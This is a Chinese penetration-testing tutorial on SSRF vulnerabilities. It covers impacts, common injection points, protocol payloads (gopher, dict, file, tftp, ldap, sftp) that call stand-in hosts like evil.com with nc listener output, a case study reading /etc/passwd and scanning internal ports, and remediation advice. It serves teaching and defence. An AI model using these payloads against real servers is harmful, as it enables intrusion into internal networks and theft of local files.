原文链接:渗透系列之SSRF漏洞
一:漏洞概念 SSRF全称为Server-side Request Fogery,中文含义为服务器端请求伪造,漏洞产生的原因是服务端提供了能够从其他服务器应用获取数据的功能,比如从指定的URL地址获取网页内容,加载指定地址的图片、数据、下载等等。 一般情况下,我们服务端请求的目标都是与该请求服务器处于同一内网的资源服务,但是如果没有对这个请求的目标地址、文件等做充足的过滤和限制,攻击者可通过篡改这个请求的目标地址来进行伪造请求,所以这个漏洞名字也叫作“服务器请求伪造”。
二:漏洞危害 1、可以对服务器所在的内网、本地进行端口扫描,获取一些服务的banner信息
2、攻击运行在内网或本地的应用程序(比如溢出)
3、对内网web应用进行指纹识别,通过访问应用存在的默认文件实现;
4、攻击内外网的web应用,主要是使用get参数就可以实现的攻击(比如struts2漏洞利用等)
5、利用file协议读取本地文件
6、利用Redis未授权访问,HTTP CRLF注入达到getshell
7、DOS攻击(请求大文件,始终保持连接keep alive always)等等
三:漏洞出现点
1、 通过url地址分享网页内容功能处
2、转码服务
3、在线翻译
4、图片加载与下载(一般通过url地址加载或下载图片处)
5、图片、文章收藏功能
6、未公开的api实现以及其他调用url的功能
7、云服务器商(它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试)
8、有远程图片加载的地方(编辑器之类的远程图片加载处)
9、网站采集、网页抓取的地方(一些网站会针对你输入的url进行一些信息采集工作)
10、头像处(某易就喜欢远程加载头像,例如:)
11、邮件系统(比如接收邮件服务器地址)
12、编码处理, 属性信息处理,文件处理(比如ffpmg,ImageMagick,docx,pdf,xml处理器等)
13、从远程服务器请求资源(upload from url 如discuz!;import & expost rss feed 如web blog;使用了xml引擎对象的地方 如wordpress xmlrpc.php)
四:SSRF利用支持协议以及利用方式1、sftp
- sftp(http://xxx.com/ssrf.php?url=sftp://evil.com:11111/ evil.com:$ nc -v -l 11111
- Connection from [192.168.0.10] port 11111 [tcp/*] accepted (family 2, sport 36136)
- SSH-2.0-libssh2_1.4.2
- )
复制代码
2、gopher
- gopher(http://xxx.com/ssrf.php?url=http://evil.com/gopher.php
- <?php
- header('Location: gopher://evil.com:12346/_HI%0AMultiline%0Atest');
- ?>
- evil.com:# nc -v -l 12346
- Listening on [0.0.0.0] (family 0, port 12346)
- Connection from [192.168.0.10] port 12346 [tcp/*] accepted (family 2, sport 49398)
- HI
- Multiline
- test)
复制代码 3、dict
- dict(http://xxx.com/ssrf.php?dict://attacker:11111/ evil.com:$ nc -v -l 11111
- Connection from [192.168.0.10] port 11111 [tcp/*] accepted (family 2, sport 36136)
- CLIENT libcurl 7.40.0)
复制代码 4、file
- file(http://xxx.com/redirect.php?url=file:///etc/passwd)
复制代码
5、tftp
- tftp(http://xxx.com/ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET evil.com:# nc -v -u -l 12346
- Listening on [0.0.0.0] (family 0, port 12346)
- TESTUDPPACKEToctettsize0blksize512timeout)
- )
复制代码 6、http/https
- http/https(http://safebuff.com/redirect.php?url=http://ip:port)
复制代码 7、ldap
- ldap(http://xxxx.com/redirect.php?url=ldap://localhost:11211/%0astats%0aquit)
复制代码
五:漏洞验证
1、排除法:浏览器f12查看源代码看是否是在本地进行了请求
比如:该资源地址类型为 http://www.xxx.com/a.php?image=URL,URL参数若是其他服务器地址就可能存在SSRF漏洞
2、dnslog等工具进行测试,看是否被访问(可以在盲打后台,用例中将当前准备请求的url和参数编码成base64,这样盲打后台解码后就知道是哪台机器哪个cgi触发的请求)
3、抓包分析发送的请求是不是通过服务器发送的,如果不是客户端发出的请求,则有可能是存在漏洞。接着找存在HTTP服务的内网地址
3.1、从漏洞平台中的历史漏洞寻找泄漏的存在web应用内网地址
3.2、通过二级域名暴力猜解工具模糊猜测内网地址
3.3、通过file协议读取内网信息获取相关地址
4、直接返回的Banner、title、content等信息
5、留意布尔型SSRF,通过判断两次不同请求结果的差异来判断是否存在SSRF,类似布尔型sql盲注方法。
六:漏洞案例
1)在一次进入系统后台测试过程中,存在一处创建工单的功能。
2)创建完工单如下所示:
3)我们点击我们工单上传的文件,点击查看文件,发现filename参数指向内网的10.180.103.x的服务器资源,猜测应该是存在ssrf漏洞,访问几个已知存在的内网资源(10.180.163网段之前测试有shell上传了,所以只要该处能访问我的shell上传的文件即可判断),实测有效。
4)利用file协议读取服务器的/etc/passwd文件。
5)利用file协议读取文件目录。
6)利用http协议探测内网端口开放信息:
filename=http://127.0.0.1:21(22等等端口),对端口进行扫描。
七:漏洞修复
1、过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件,那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
2、禁用不需要的协议,仅仅允许http和https请求。可以防止file/gopher/dict等协议引起的问题
3、设置URL白名单或者限制内网IP(使用gethostbyname()判断是否为内网IP)
4、限制请求的端口为http常用的端口,比如 80、443、8080、8090
5、统一配置错误信息,避免用户可以根据错误信息来判断远程服务器的端口状态。
|